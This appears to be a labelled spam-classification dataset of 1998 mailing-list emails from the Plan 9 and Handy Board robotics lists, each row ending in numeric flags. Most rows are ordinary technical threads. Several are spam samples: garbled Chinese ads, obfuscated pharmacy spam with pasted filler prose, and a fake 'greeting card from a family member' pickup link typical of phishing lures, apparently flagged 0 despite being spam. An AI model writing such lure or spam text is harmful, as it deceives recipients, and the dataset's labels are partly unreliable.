environment for whatever I need to do. ",0,0 Dharaneedharan Vilwanathan ,"Jim.Robinson@Stanford.Edu, 9fans@cse.psu.edu","Tue, 10 Nov 1998 05:22:28 -0500",Re: [9fans] DMR's OS :( ,"> > What is the merrit to have Inferno on note PC? > > From what I've read, inferno has the same namespace coolness > that Plan9/Brazil has. Think about how nice that would be for a > hand-held. Instead of needing to squeeze apps into the tiny 1-4mb > memory-storage on a pilot (or spending big bucks to get an 8mb chip), > you could have all the storage be on a ""pilot-server"" sitting on a > computer with a real harddrive. > > o No more worries about backing up the pilot > o Almost automatic groupware funcionality > o You could ""download"" software to the pilot > (in reality, your harddisk) via your computer's > network connection -- instant install without > the need for serial-cable downloads. > o No more need to hotsync between your PC and your pilot. > both apps read the same files! > o Pilot hardware can be dedicated more toward > to screen i/o, and cache. > o Having the equiv of /bin/cpu would be nice! > > They have tiny ricochet modems (wireless PPP-capable modems) that are > about the size of the pilot. *I* think it would be cool. :) > > > I have no idea on Inferno though. ;_; > > http://www.lucent-inferno.com/Pages/Developers/Documentation/White_Papers/ The next version the same project had Papyrus handwriting recognition module running in Inferno with file tree interface. So we were even able to keep the recognizer itself in the network. It was evident that a powerful multi-lingual recognizer with huge dictionaries and look-up tables can be kept in the host while the device is still of same size. With new communication mechanisms like wireless modem, waveLAN, irDA, bluetooth, etc., things seem to be very promising. In fact, in an Inferno based solution, you will only need to have a device with display and input method. Everything else can be in a remote place. Imagine using a thin device with LCD display and a keyboard anywhere to browse, organize personal information, do home automation, etc!! Regards, dharani dharani@dante.mh.lucent.com ",0,1 steve_kilbane@cegelecproj.co.uk,9fans@cse.psu.edu,"Tue, 10 Nov 1998 11:12:10 +0000",Re: [9fans] DMR's OS :(,"On 10/11/98 10:22:28 Dharaneedharan Vilwanathan wrote: > With new communication mechanisms like wireless modem, waveLAN, irDA, bluetooth, > etc., things seem to be very promising. In fact, in an Inferno based solution, > you will only need to have a device with display and input method. > Everything else can be in a remote place. I'm not at all convinced by this. The key attribute of hand-helds is that they work, wherever you go. If there's any requirement on communications, they're going to fall over at some point. There's a big leap between being able to make use of a network while it's there, and having to have one all the time. Does Inferno support data replication and conciliation? Having said that, I find the idea of replaceable application servers deeply attractive. At the moment, as you move around, your cell-phone attaches to different cells. Systems like Ricochet could also an Inferno-based server that provides facilities such as Dharaneedharan mentions ""locally"", while your personal data either lives on your palmtop, or on the other side of the world. steve ",0,0 0c54d.czkjt@hotmail.com,,"Tue, 10 Nov 1998 17:28:15 +0800", 台资B2C网路全球创业网，成就你我创业梦想2006-4,"=?GB2312?B?LTI4?= 20:27:56 9fans@cse.psu.edu To: 9fans@cse.psu.edu Content-Type: multipart/alternative; boundary=""=_NextPart_2rfkindysadvnqw3nerasdf""; charset=""GB2312"" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Sender: 0c54d.czkjt@hotmail.com Reply-To: 0c54d.czkjt@hotmail.com Date: Tue, 10 Nov 1998 17:27:39 +0800 X-Priority: 3 X-Library: Indy 9.00.10 X-Mailer:Dynamailer V 8.0 X-MimeOLE:Produced By Mircosoft MimeOLE V6.00.2600.0000 Return-Path:0c54d.czkjt@hotmail.com This is a multi-part message in MIME format --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/plain Content-Transfer-Encoding: quoted-printable charset=""GB2312"" --=_NextPart_2rfkindysadvnqw3nerasdf Content-Type: text/html Content-Transfer-Encoding: 7bit charset=""GB2312"" Anne04-2820:27:56 �������������������� ������������������������ �������������������������� �������������������� ��������������������������-- ����������100���� ������������������������ �������� ���������� .... ������������������: http://mei98.123soho.net �� ������QQ��3Sun, 24 Jun 1894 10:15:34 QQ��382208730 Yahoo Messenger: yzxcg940416  MSN:yzxcg940416@hotmail.com http://mei98.123soho.net ���������������������������������������������������������������� --=_NextPart_2rfkindysadvnqw3nerasdf--",1,1 Dorothea Beringer ,beringer@DB.Stanford.EDU,"Tue, 10 Nov 1998 10:22:05 -0800",Memo: architecture for scheduling,"Points to be considered when discussing CHAIMS architecture for scheduling ===================================================+=============== 1 Integrating Java and C++ This has proven to be very cumbersome. Though it is feasable, the limited possibilities for debugging, the time-consuming programming of JNI-interfaces, and akward way how data-structures have to be copied over element by element, all that multiplies the amount of time spent programming. Also our current ASN.1-libraries are simply not Java-compliant (linking problem, run-time errors), though we can make it work with lots of hacks and lots of additional time. ==> either Java with RMI (or sockets, or pure JAVA ORB), or C++ with TCL/TK with sockets (or Orbix) 2 Several ORBs Proved not to be easy: doubles the learning curve as each ORB has its specialities; integration on client side is not trivial (conflicts in names and IDLs...) 3 ASN.1 The concept of gentypes is elegant, yet the ASN.1 libraries have proved to make problems again and again. Adn they should not be used together with Java, as this results in a nearly unmaintainable mess, and makes it difficult to make any changes. Furthermore: the support for and the knowledge about ASN.1 seems to be diminishing, everything is now about XML. ==> replacing ASN.1 either by a simple string model, or by XML. 4 Knowledge Do we want to study scheduling, or do we want to study integration of tools and systems? So far, we have primarily done the second, though it was not the goal. Yet it has proved so cumbersome, that all energy went in there, and it took as at least 3 to 4 times as long as building a similar infrastructure with just one technology (e.g. only Java and RMI, or only C++ and one ORB and strings for name-value lists). Question: what do we want to prove (integration or concepts of scheduling)? is it a prototype for concepts that just incorporates the features needed by the case studies (arrays of strings instead of ASN.1 would have been enough), or do we build a system that cares for all cases and details not yet essential? 5 Alternative architecture (as proposed by me June 98) This architecture would allow to have the CHAIMS system in just one language, and to have wrappers that have bridges for various kinds of legacy systems (i.e., if we would choose Java and RMI: there is one wrapper written in JAVA and managing all the tables etc, and only the component that calls the legacy methods would be different for different kinds of legacy systems). As noted already there, if somebody makes a native CHAIMS megamodule, he can just as well do it in the language and protocol we choose for the system. Otherwise, he can use the wrappers. ==> maintaining and changing and knowing just one wrapper. -- Dorothea Beringer Stanford University beringer@db.stanford.edu http://www-db.stanford.edu/people/beringer.html -- ",0,1 r.farnhill@bssl.co.uk,handyboard@media.mit.edu,"Tue, 10 Nov 1998 15:28:50 -0000",Charging Batteries,"Hi all, Just a quick question on charging different types of batteries. I have got a 6Amp 12Volt Nicad battery out of a security alarm panel, can i charge this using a normal lead acid charger that normally charges car batteries, If not what is the difference in cahrging methods between lead acid and nicad as obviously the handy board wall plug charger rated at 700mAh would not do the job. Regards Russ....... ",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Tue, 10 Nov 1998 10:42:42 -0500",Great Battery Opportunity!? & External Motor Power Question.,"Hi all, I just got my Tech America catalog in the mail (1-800-877-0072). On the back cover they have this 'portable power' thing which just might be able to be used for a robotics application...for only $30!!! Here's the specs: 8 Amp Hour sealed lead-acid battery. ""Great for charging power tools or running portable TV's..."" 8 hour charge from 110v AC or 3 hour charge from 12v DC. I don't know anything about power supplies or power systems, but I am looking for some external power source to use with the Handyboard and External Motors. Do you think this will work? Anyone know what circuitry I would need to add to use this battery? Could I just plug it into the terminals after making the external power supply motor mod on the Handyboard? Or, would that fry my HandyBoard? Thanks ",0,0 Bill Bynum ,handyboard@media.mit.edu,"Tue, 10 Nov 1998 11:22:01 -0500",Serial communication between HandyBoards,"Hello, everyone: One of my students and I have been trying to get two HandyBoards to talk to each other over their serial ports, but we are having trouble. We first wired a 4-wire modular connector the way the FAQ says to. No smoke -- a good sign. Then we used serialio.c (linked to on the FAQ) to create a test program. The receiving robot never gets past the test of the data ready bit of the SCSR location. Moreover, when we comment out the wait, apparently no data is being placed into the SCDR location in the receiving robot. These symptoms occur whether or not the sender and receiver call disable_pcode_serial() (and whether reenable_pcode_serial() is called in there anywhere). Our 4-wire connector cable tests out OK with an ohmmeter. Does anyone have any suggestions of what we can try next? Has anyone had any success in getting two HandyBoards to communicate through their serial ports? Oh, by the way, we're running the 2.82 (freeware) version of the PCODE interpreter and ic. Thanks. Bill Bynum ",0,0 """Scott R. Harris"" ",r.farnhill@bssl.co.uk,"Tue, 10 Nov 1998 11:23:56 -0500",Re: Charging Batteries,"No. You need to limit the current going through the nicad when you charge it. Typically it's some relatively small fraction the the current the battery can supply. Car battery chargers can supply a LOT of current. Hooking a small nicad to a car battery charger would be a BAD idea. Determine the ammount of current the nicad can handle, pick the appropriate series resistor, and then you can use the 12V car charger. -Scott On Tue, 10 Nov 1998 r.farnhill@bssl.co.uk wrote: > Hi all, > > Just a quick question on charging different types of batteries. I have got a > 6Amp 12Volt Nicad battery out of a security alarm > panel, can i charge this using a normal lead acid charger that normally > charges car batteries, If not what is the difference in cahrging methods > between lead acid and nicad as obviously the handy board wall plug charger > rated at 700mAh would not do the job. > > > Regards Russ....... > > > ",0,0 brett anthony ,'Russell Farnhill' ,"Tue, 10 Nov 1998 09:57:22 -0800",RE: Charging Batteries," The HB wall plug charger MIGHT do the job, sort of... Generally you need a charger that makes about 15V under load to charge a 12V (nominal) battery pack. Do NOT use an auto battery charger unless you have a way to reliably control the CURRENT to your battery. Are you sure your security alarm panel battery is a NiCad and not a gell cell? Quick and dirty general charging rules: NiCads: Charge in 8 to 12 hours at C/10 amps where C is the capacity. Thus, a 6AH NiCad pack would charge at 600MA. Note that the charge voltage should be several volts more than the rated pack voltage. Generally, low cost OEM charger/battery combinations use C/20 to reduce tha chance of damage to the pack. Fancier ones charge at C/5 or faster, but use some feedback (usually temperature, sometimes voltage or pack resistance) from the pack itself to switch the charger to trickle mode when the pack is full. Reason: NiCads will tolerate a fast charge, but once full they will overheat rapidly and vent or rupture if the current is not reduced. Conventioanl wisdom about NiCads is that they will lose useful capacity if kept on trickle charge or repeatedly recharged before they are empty. This ""memory effect"" is actually much less of a problem today than 10 or 20 years ago, but it is still a good idea to periodically run NiCads till dead, than give them a long slow charge. Lead/Acid: Except for vehicle batteries, most lead/acid batteries today are gell cells; no vents, no spill, but gell cells will not provide the very high currents (or tolerate a very fast charge) like the battery in your car. Gell cells can be charged at C/10, but C/20 is safer. The big difference in charging gospel for gell cells is that they should be kept on full charge all the time, recharged immediatly after any use, and it's a bad idea to run them flat. Most users store them on a C/20 or C/40 trickle charger all the time. Maintained this way, they can be counted on to provide full capacity for years. I suspect your security panel backup battery may be a gell cell. It should run the HB just fine... Brett Anthony ",0,0 Steve Kotsopoulos ,9fans@cse.psu.edu,"Tue, 10 Nov 1998 15:23:27 -0500",Re: [9fans] DMR's OS :(,"Dave Presotto wrote: > My palm pilot has been up for 2 years without a crash. It did > flake out 2 years ago when I let the batteries run down though. My organizer has never crashed on me, and I've had it since before Unix existed. It does OCR without having to learn someone's handwriting, voice recognition, supports I18N, has almost unlimited storage capacity, and an easy-to-use (actually, invisible) OS/GUI. It requires no batteries and has survived several collisions against concrete, ice and skulls. I've never forgotten it, needed to back it up, swapped the hardware or patched the software. Hopefully, I never will. Computer hardware and software still has a long way to go. ",0,0 dubreuil@poleia.lip6.fr,handyboard@media.mit.edu,"Tue, 10 Nov 1998 23:18:59 +0200",Unix sources for dl for E1,"I have been using various boards (6.270, Handyboards and fingerboards) for a long time and on various platforms (Macintosh mainly). I am willing to use my handyboard from linuxPPC on my macintosh, so i recompiled dl, ic and mon. It works fine with all my boards except the ones that have 68HC11E1 instead of A1 controllers. I know that this is due to the handling of the bootloader in dl and mon. As i know that this problem has been solved for other ports (PC and Mac) i'm looking for the changes to be done to the sources to handle the E1 as well as the A1..... I'm ready to dig in the source code. TBA ",0,0 Germán Gentile ,Handyboard Mailing List ,"Tue, 10 Nov 1998 19:23:21 -0300",RV: The Spi port is fragile?,"Anyone can help me? I have a ASAP proximity reader connected to the SPI port. I find some 68HC11 never detect signaling coming from Asap to the SPI port. Others work excelent. Except at 2 or 3 months begin working that fail definitively. I replace the 6811 but nothing come to live!!! I´m using two Resistors of 1K because the ouput for the ASAP are open collectors. Which can be the trouble (Fred?). German Gentile ",0,0 Digby Tarvin ,9fans@cse.psu.edu,"Wed, 11 Nov 1998 01:06:23 +0000",[9fans] kfs on sparc,"Hi, I have a SPARCstation 2 which I can network boot using u9fs running on a local Unix machine, and I am trying to set it up to use its local hard disk. I can see the disk ok after doing a bind -a '#w1' /dev But can't figure out how to partition and format it. PREP(8) requires as argument a 'special', which is described as a 'maximal prefix of names of the logical units on the disk', but I can't find a definition of what this means. The example given is '#w/hd0', but I don't see how that relates to '#1'? Also, the '-a' is supposed to create default partitions on a new disk, but the description indicates this includes a DOS partition, so I am worried that maybe this is for the PC version only.... Finally, the entry for the sparc in BOOTING(8) only mentions net booting. Can a Sun be made into a stand alone Plan9 workstation? Thanks, DigbyT -- Digby R. S. Tarvin digbyt@acm.org http://www.cthulhu.dircon.co.uk ",0,1 Poser2Fx@aol.com,"anthonyb@ecs.csus.edu, r.farnhill@bssl.co.uk","Tue, 10 Nov 1998 20:04:03 -0500",Handy Board,"Hi.. If you wanna sell your handy board. Please Tell me! I really need it for some Science project Thank You Verry Much. ",0,0 presotto@plan9.bell-labs.com,"9fans@cse.psu.edu, digbyt@acm.org","Tue, 10 Nov 1998 21:34:27 -0500",re: [9fans] kfs on sparc,"Not the world's best wording is it? Since you have a scsi drive, you want 'disk/prep /dev/sd?'. ls -l /dev/sd* to see what's there after the bind and replace ? with the right number. It works for non-PC's, or at least used to. Just don't expect to see any DOS partitions to be found. A sun can be stand-alone. ------ forwarded message follows ------ >From cse.psu.edu!owner-9fans Tue Nov 10 20:08:08 EST 1998 Received: from plan9.bell-labs.com ([135.104.9.2]) by plan9; Tue Nov 10 20:08:08 EST 1998 Received: from cse.psu.edu ([130.203.3.50]) by plan9; Tue Nov 10 20:07:07 EST 1998 Received: from localhost (majordom@localhost) by cse.psu.edu (8.8.8/8.8.8) with SMTP id UAA25825; Tue, 10 Nov 1998 20:06:49 -0500 (EST) Received: by claven.cse.psu.edu (bulk_mailer v1.5); Tue, 10 Nov 1998 20:06:40 -0500 Received: (from majordom@localhost) by cse.psu.edu (8.8.8/8.8.8) id UAA25791 for 9fans-outgoing; Tue, 10 Nov 1998 20:06:35 -0500 (EST) X-Authentication-Warning: claven.cse.psu.edu: majordom set sender to owner-9fans using -f Received: from mailhost.dircon.co.uk (mailhost.dircon.co.uk [194.112.32.65]) by cse.psu.edu (8.8.8/8.8.8) with ESMTP id UAA25786 for <9fans@cse.psu.edu>; Tue, 10 Nov 1998 20:06:28 -0500 (EST) Received: from cthulhu.dircon.co.uk (cthulhu.dircon.co.uk [194.112.45.202]) by mailhost.dircon.co.uk (8.9.1/8.8.7) with ESMTP id BAA17414 for <9fans@cse.psu.edu>; Wed, 11 Nov 1998 01:06:25 GMT Received: (from digbyt@localhost) by cthulhu.dircon.co.uk (8.8.5/8.8.5) id BAA16290 for 9fans@cse.psu.edu; Wed, 11 Nov 1998 01:06:24 GMT Message-Id: <199811110106.BAA16290@cthulhu.dircon.co.uk> Subject: [9fans] kfs on sparc To: 9fans@cse.psu.edu Date: Wed, 11 Nov 1998 01:06:23 +0000 (GMT/BST) In-Reply-To: <199705100132.VAA25559@cse.psu.edu> from ""beto@ncube.com"" at May 9, 97 06:30:28 pm From: Digby Tarvin Reply-To: digbyt@acm.org (Digby Tarvin) X-Face: &(//%&/WHJk7>_lW'@YYeED-qsdBV8&h3_Hpn/0.9_=}vTk}5u/2l=Mx&rX!\\.i9X{(S@nk[we'a|IX#|?jmh`(j}a+\\C5/> %DpYTPd<7jF2V b[Z.TjttL[FMm_$Z$^#qd62A:T.qw7}0S\\o.Or_|I 2t~t0D=eCU""S?ls%(Ro X-Pgp-Key-Fingerprint: 61 E7 39 FE 4A F4 CA F3 F5 5E BB 45 26 EC 36 3C X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-9fans@cse.psu.edu Reply-To: 9fans@cse.psu.edu Precedence: bulk Hi, I have a SPARCstation 2 which I can network boot using u9fs running on a local Unix machine, and I am trying to set it up to use its local hard disk. I can see the disk ok after doing a bind -a '#w1' /dev But can't figure out how to partition and format it. PREP(8) requires as argument a 'special', which is described as a 'maximal prefix of names of the logical units on the disk', but I can't find a definition of what this means. The example given is '#w/hd0', but I don't see how that relates to '#1'? Also, the '-a' is supposed to create default partitions on a new disk, but the description indicates this includes a DOS partition, so I am worried that maybe this is for the PC version only.... Finally, the entry for the sparc in BOOTING(8) only mentions net booting. Can a Sun be made into a stand alone Plan9 workstation? Thanks, DigbyT -- Digby R. S. Tarvin digbyt@acm.org http://www.cthulhu.dircon.co.uk",0,1 Max Davies ,handyboard@media.mit.edu,"Tue, 10 Nov 1998 21:47:15 -0500",Monitoring household power consumption,"In the interest of reducing my reliance on the commercial power grid for my home's electrical power requirements I want to consider switching to more energy efficient devices and to at least partial solar power or other alternative power sources. To make the proper decisions I am hoping to be able to use my HandyBoard to monitor my total home power consumption in real time, and transmit the results to my PC for further processing. This would allow me to both measure the true power consumption of individual appliances (by turning them on and off in a controlled manner) and to get more general power consumption graphs showing the peaks and valleys of my consumption throughout a day, week, month, or year. I'm a software expert so I have no problems there, but I could use some help from you hardware and electronic experts... How can I actually monitor the true 120V AC power usage in a home running a furnace, dishwasher, lights, and TV etc.? One way I figure might be to install a sensor on the front of the glass of the electricty meter to detect that little black band on the disc that spins round and round, but that would have to be a pretty darned good sensor, no? Another way might be to do something similiar to whatever it is that the electric company does to measure the power, but I have no idea what that is so I don't how to do that either. Any suggestions friends? ",0,0 steve-kotsopoulos@home.com,"digbyt@acm.org, 9fans@cse.psu.edu","Tue, 10 Nov 1998 21:52:00 -0500",Re: [9fans] kfs on sparc ,"Digby Tarvin wrote: > I have a SPARCstation 2 which I can network boot using u9fs > running on a local Unix machine, and I am trying to set it > up to use its local hard disk. > > I can see the disk ok after doing a > bind -a '#w1' /dev > But can't figure out how to partition and format it. [snip] > Finally, the entry for the sparc in BOOTING(8) only mentions > net booting. Can a Sun be made into a stand alone Plan9 > workstation? I've done this with a MIPS Magnum workstation, but not a sparc. You'll need a kernel with kfs support, try 'diff /sys/src/9/magnum/magnum /sys/src/9/magnum/magnumdisk' for help with that There are scripts in the subdirs of /rc/bin for setting up standalone systems Take a look at /rc/bin/magnum/home, which preps the disk copies the boot partition and kernel, then uses kfs to setup the filesystem. You'll probably want to run disk/prep manually. You might not need a boot partition with sparcs. Once your system is setup and running, you can sync it with your fileserver by running something like /rc/bin/magnum/update ",0,0 Anuradha Mulukutla ,handyboard@media.mit.edu,"Tue, 10 Nov 1998 23:32:21 -0500",Wrong chip on handy board?,"Hi, I was trying to use the digital inputs for my project. Whether I ground the inputs, or I connect them to high, a read from 0x7fff gives me ""76"". (My connections are correct, as per your drawing in this mail archive). I finally discovered, that in the slot where I should find a 74HC244, my handyboard has a 74HC374N. Please let me know what I need to do to use those inputs. Thanks, Anuradha Mulukutla, Michigan State University. ",0,0 Richard Uhtenwoldt ,"Jim.Robinson@Stanford.Edu, 9fans@cse.psu.edu","Tue, 10 Nov 1998 21:24:08 -0800",Re: [9fans] DMR's OS :( ,"James A. Robinson writes: >From what I've read, inferno has the same namespace coolness >that Plan9/Brazil has. Think about how nice that would be for a >hand-held. Does it have the same source-code coolness? In other words, can anyone who has Inferno get the source code for the whole thing? ",0,0 Sabrina Sparano ,handyboard@media.mit.edu,"Tue, 10 Nov 1998 17:37:18 -0700",Re: your AMBntEN,"Hi V C X P A L V A I a r m e I L A n o b v A I L a z i i G U I x a e t R M S c n ra A http://www.polizuires.com want to know. I know your king well by sight, though perhaps he doesnt know me to look at. But Bard will remember me, and it is Bard I particularly want to see. Indeed! said they, and what may be your business? Whatever it is, its my own, my good elves. But if you wish ever to get back to your own woods from this cold cheerless place, he answered shivering, you ",1,1 Digby Tarvin ,presotto@plan9.bell-labs.com,"Wed, 11 Nov 1998 07:47:56 +0000",Re: [9fans] kfs on sparc,"Hi Dave, Thanks for the quick reply. > >Not the world's best wording is it? > With free support like this, I guess it doesn't have to be :-) >Since you have a scsi drive, you want 'disk/prep /dev/sd?'. ls -l /dev/sd* >to see what's there after the bind and replace ? with the right number. > >It works for non-PC's, or at least used to. Just don't expect to see any DOS >partitions to be found. > >A sun can be stand-alone. > Ah, thanks. Still mystified about how this relates to the '#w/hd0' in the docs, but I think I know what it should be now. Regards, DigbyT -- Digby R. S. Tarvin digbyt@acm.org http://www.cthulhu.dircon.co.uk ",0,1 Digby Tarvin ,steve-kotsopoulos@home.com,"Wed, 11 Nov 1998 07:50:53 +0000",Re: [9fans] kfs on sparc,"> >I've done this with a MIPS Magnum workstation, but not a sparc. >You'll need a kernel with kfs support, try >'diff /sys/src/9/magnum/magnum /sys/src/9/magnum/magnumdisk' for help with that > >There are scripts in the subdirs of /rc/bin for setting up standalone systems >Take a look at /rc/bin/magnum/home, which preps the disk >copies the boot partition and kernel, then uses kfs to >setup the filesystem. You'll probably want to run disk/prep manually. >You might not need a boot partition with sparcs. > >Once your system is setup and running, you can sync it with your >fileserver by running something like /rc/bin/magnum/update > Hi Steve, Thanks for the clues. I hadn't even gotten up to thinking about how I was going to copy the system onto the disks yet. Your information should be very helpful. Regards, DigbyT -- Digby R. S. Tarvin digbyt@acm.org http://www.cthulhu.dircon.co.uk ",0,1 Elliott Hughes ,9fans@cse.psu.edu,"Wed, 11 Nov 1998 09:47:55 +0100",Re: [9fans] DMR's OS :(,"> Does it have the same source-code coolness? it's possible to buy a source licence, but the price i heard was well out of my league. i don't think buying the source is a realistic option for an individual. as long as the documentation is so vague, there's unlikely to be a free alternative. i know i couldn't guess the format of the link section, for example. P.S. i've just realised (and wasn't in hold mode!) that you might not mean kernel source. if you're talking about the source to the contents of /bin, then /appl is the place to look. /appl/cmd/sh.b is the source to /dis/sh.dis, for example. unfortunately, things like the TK graphics library aren't written in limbo. so you don't get any source there, and are limited in what you can do to (say) the window manager. -- quest'avventura // ah, come diavolo // mai finira'? ",0,0 Tom Brusehaver ,mdavies@CAM.ORG,"Wed, 11 Nov 1998 07:58:27 -0600",Re: Monitoring household power consumption," >In the interest of reducing my reliance on the commercial power grid for my >home's electrical power requirements I want to consider switching to more energy >efficient devices and to at least partial solar power or other alternative power >sources. Good application, although it is a bit of a challenge. >How can I actually monitor the true 120V AC power usage in a home running a >furnace, dishwasher, lights, and TV etc.? > >One way I figure might be to install a sensor on the front of the glass of the >electricty meter to detect that little black band on the disc that spins round >and round, but that would have to be a pretty darned good sensor, no? Do you want to measure the individual devices, or the whole house? To do the individual devices you would have to have sensors right next to the devices. To monitor each circuit in the house, you can put sensors in the fuse box. To do the whole house, you can have a single sensor where the power comes in the house. There was an article in Circuit Cellar ink about 2 years ago on how to do this. The sensors where a torroid core wrapped with wire. The AC induces a voltage into this coil. I think the article had 5-10 wraps of wire getting 0-5volts, so the analog port would give you the inputs. Good luck. ",0,0 pip@stricca.org,9fans@cse.psu.edu,"Tue, 10 Nov 1998 20:42:30 -0500",Re: [9fans] A browser worthy of Plan9," Skip Tavakkolian wrote: > I was bluffing. Apparently no one knows of one. > > Nigel Roles wrote: > > > I quite agree. One point though, I not aware of any browser that > > deserves the sobriquet ""superior"". Which one is it? > > > > -----Original Message----- It is called Opera: http://www.operasoftware.com -- pip ",0,1 """Douglas A. Gwyn"" ",9fans@cse.psu.edu,"Wed, 11 Nov 1998 14:41:21 +0000",Re: [9fans] DMR's OS :(,"Steve Kotsopoulos wrote: > My organizer has never crashed on me, and I've had it since before Unix > existed. It does OCR without having to learn someone's handwriting, > voice recognition, supports I18N, has almost unlimited storage capacity, > and an easy-to-use (actually, invisible) OS/GUI. It requires no batteries > and has survived several collisions against concrete, ice and skulls. > I've never forgotten it, needed to back it up, swapped the hardware or > patched the software. Hopefully, I never will. Furthermore, its self-diagnostic program never reports any errors ... whether or not there are any! ",0,0 Elliott Hughes ,digbyt@acm.org,"Wed, 11 Nov 1998 09:55:22 +0100",Re: [9fans] kfs on sparc,"> Finally, the entry for the sparc in BOOTING(8) only mentions > net booting. Can a Sun be made into a stand alone Plan9 > workstation? good question. making a SPARC kernel with kfs is easy (the Plan 9 FAQ even tells you how). booting that off the net is similarly easy. booting from a local disc... that part has escaped me. in the end i worked out that the only way it was going to work was if i left a minimal Solaris partition on my disc with the second- and third-stage boot loaders and replaced the Unix kernel with the Plan 9 one. sadly a friend had kindly installed Solaris 2.6 over Solaris 2.5 on my little old IPC, and the boot loader in 2.6 only supports ELF binaries. i don't have an ELF kernel, and frankly haven't the faintest idea how to make one easily. versions of Solaris earlier than 2.6 may (i'm wary of being more confident, though i know forsyth used to boot an SLX from local disc) support booting of a Plan 9 kernel. as if one needed any more reason _not_ to ""upgrade"" to a new version of Solaris... [my IPC is currently running a stripped-down Solaris 2.6 install and has a very minor role on the network. and to think it could have been running acme and 5s!] -- quest'avventura // ah, come diavolo // mai finira'? ",0,0 Erica Landin ,9fans@cs.psu.edu,"Wed, 11 Nov 1998 09:59:46 -0500",zipping my lean muscle mass,"in orwellian but listen or ehrlich or directrices in tetrahedron ",1,0 brett anthony ,'Max Davies' ,"Wed, 11 Nov 1998 11:00:53 -0800",RE: Monitoring household power consumption,"Actually, that little black band is a relic of earlier days when people (like myself) had jobs that occasionally required them to sit with a stopwatch and count turns. A slide rule was then used to calculate power consumption. Each meter had a unique ""meter factor"" which entered into the equation. You actually might not have such difficulty using an LED emitter/detector pair to count turns if you shield the meter from ambient light. Of course, if you remove the glass dome to get closer to the disk the power company will send the sheriff... The problem with the meter disk is it only spins fast if you are using a lot of power, so if you want to track individual small appliances you would have to run them a really long time with everything else unplugged. Remember, many devices like TV's , radios, doorbells, stoves, ovens, HVAC, and telephones, or anything with a built-in battery charger or clock, or anything that runs from a ""wall wart"" (AC adapter), or anything that uses refrigeration, or has a built-in microprocessor; will use power even when shut off. Just for the hell of it, turn off everything you can think of, then take a flashlight and go watch that disk... All of which is to say that finding the Circuit Cellar article referred to by Tom Brusehaver is a good idea. Presumably the article provides some way to convert the coil output to DC. You could also buy/borrow/rent a current meter or current probe for your multimeter if you own one. These use the same principle, except the toriod is hinged so you can snap it over the hot wire without having to disconnect anything. You can then make a power survey for each circuit in your house by snapping the meter over the relevant wires in your breaker panel. To run a long term survey for the whole house you need to make and calibrate your own coils. Note that if your house is wired in the normal way you need two. ",0,0 Poser2Fx@aol.com,"anthonyb@ecs.csus.edu, mdavies@CAM.ORG","Wed, 11 Nov 1998 14:12:58 -0500",Handy Board PLease!!,"If Anyone is selling ther Handy Board Please Tell me!! I rreeeaaally neeeeed it for some Science Proj..! thank you! ",0,0 """Jeremy A. Green"" ",handyboard@media.mit.edu,"Wed, 11 Nov 1998 14:51:00 -0500",RE: Monitoring household power consumption,"I purchased a power meter from Brand electronics. They have a few different models. There is one that is suitable for measuring the costs of one device and there is a larger one that has to be hardwired into your house. Check out http://www.mint.net/~ebrand/ They are pretty nice little devices. -Jeremy >Actually, that little black band is a relic of earlier days when people >(like myself) had jobs that occasionally required them to sit with a >stopwatch and count turns. A slide rule was then used to calculate power >consumption. Each meter had a unique ""meter factor"" which entered into the >equation. You actually might not have such difficulty using an LED >emitter/detector pair to count turns if you shield the meter from ambient >light. Of course, if you remove the glass dome to get closer to the disk >the power company will send the sheriff... > >The problem with the meter disk is it only spins fast if you are using a lot >of power, so if you want to track individual small appliances you would have >to run them a really long time with everything else unplugged. Remember, >many devices like TV's , radios, doorbells, stoves, ovens, HVAC, and >telephones, or anything with a built-in battery charger or clock, or >anything that runs from a ""wall wart"" (AC adapter), or anything that uses >refrigeration, or has a built-in microprocessor; will use power even when >shut off. Just for the hell of it, turn off everything you can think of, >then take a flashlight and go watch that disk... > >All of which is to say that finding the Circuit Cellar article referred to >by Tom Brusehaver is a good idea. Presumably the article provides some way >to convert the coil output to DC. You could also buy/borrow/rent a current >meter or current probe for your multimeter if you own one. These use the >same principle, except the toriod is hinged so you can snap it over the hot >wire without having to disconnect anything. You can then make a power >survey for each circuit in your house by snapping the meter over the >relevant wires in your breaker panel. To run a long term survey for the >whole house you need to make and calibrate your own coils. Note that if >your house is wired in the normal way you need two. _______________________________________________________________ Jeremy Green jag@world.std.com jag@brownout.com http://www.brownout.com mailto:jag@brownout.com ",0,1 postcards1001 ,9fans@cse.psu.edu,"Wed, 11 Nov 1998 12:06:56 -0400",You've received a greeting from a family member!,"D>postcards.org   You have just received a virtual postcard from a family member! . You can pick up your postcard at the following web address: . http://www2.postcards.org/?a91-valets-cloud-31337 . If you can't click on the web address above, you can also visit 1001 Postcards at http://www.postcards.org/postcards/ and enter your pickup code, which is: a91-valets-cloud-mad . (Your postcard will be available for 60 days.) . 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I've had quite a different experience. Mine is a newer model, ten years younger than Unix. It requires daily down time or it mostly stops functioning. Proper (and frequent!) care and feeding is essential as well, unlike (say) a Palm Pilot that lasts three months on a single set of batteries. Despite the almost unlimited storage capacity, throughput is comparatively (and frustratingly!) small. Long-term data loss is increasingly a problem and it doesn't come with ECC memory. Computational power is annoyingly limited; it would be nice if there were an upgrade kit to add a couple extra processors. Russ ",0,0 RegalPalms Realty ,RealEstateBuyers <9fans@cse.psu.edu>,"Wed, 11 Nov 1998 13:27:51 -0800","1,000's of Real Estate Buyer Opportunities - Vacation Resorts & Exotic Locals","As indicated in our privacy policy, you will be offered the opportunity to direct us not to share information with you. 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Change my Email Preferences You can also send your request to: 600 North Westshore Blvd. Ste 1000 Tampa FL 33609 Please note: It may take up to 10 days for your change to be reflected with the postal method.",1,1 Remi Desrosiers ,handyboard@media.mit.edu,"Wed, 11 Nov 1998 22:59:44 -0500",Re: Monitoring household power consumption,"At 09:47 PM 11/10/98 -0500, you wrote: >In the interest of reducing my reliance on the commercial power grid for my >home's electrical power requirements I want to consider switching to more energy >efficient devices and to at least partial solar power or other alternative power >sources. > >To make the proper decisions I am hoping to be able to use my HandyBoard to >monitor my total home power consumption in real time, and transmit the results >to my PC for further processing. This would allow me to both measure the true >power consumption of individual appliances (by turning them on and off in a >controlled manner) and to get more general power consumption graphs showing the >peaks and valleys of my consumption 